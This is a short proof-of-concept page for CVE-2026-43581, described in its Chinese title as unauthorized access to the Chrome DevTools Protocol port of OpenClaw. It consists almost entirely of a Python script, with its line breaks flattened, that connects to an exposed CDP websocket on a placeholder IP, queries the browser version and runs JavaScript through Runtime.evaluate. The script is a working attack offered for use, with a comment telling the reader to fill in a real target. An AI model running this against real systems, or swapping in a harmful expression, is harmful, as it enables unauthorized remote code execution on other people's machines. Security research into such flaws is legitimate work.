CVE-2026-43581: OpenClaw CDP协议未授权访问漏洞

import asyncio import websockets import json async def check_cdp_vulnerability(target_host, target_port): """ PoC for CVE-2026-43581 Connects to the exposed CDP port and executes a simple command. """ uri = f"ws://{target_host}:{target_port}" print(f"[*] Connecting to {uri}...") try: async with websockets.connect(uri) as websocket: print("[+] Connection successful! Vulnerability likely present.") # CDP command to get browser version payload = { "id": 1, "method": "Browser.getVersion", "params": {} } await websocket.send(json.dumps(payload)) response = await websocket.recv() print(f"[+] Received Response: {response}") # Example: Execute JavaScript js_payload = { "id": 2, "method": "Runtime.evaluate", "params": {"expression": "navigator.userAgent"} } await websocket.send(json.dumps(js_payload)) js_response = await websocket.recv() print(f"[+] JS Execution Result: {js_response}") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": # Replace with actual target IP and Port asyncio.run(check_cdp_vulnerability("192.168.1.100", 9222))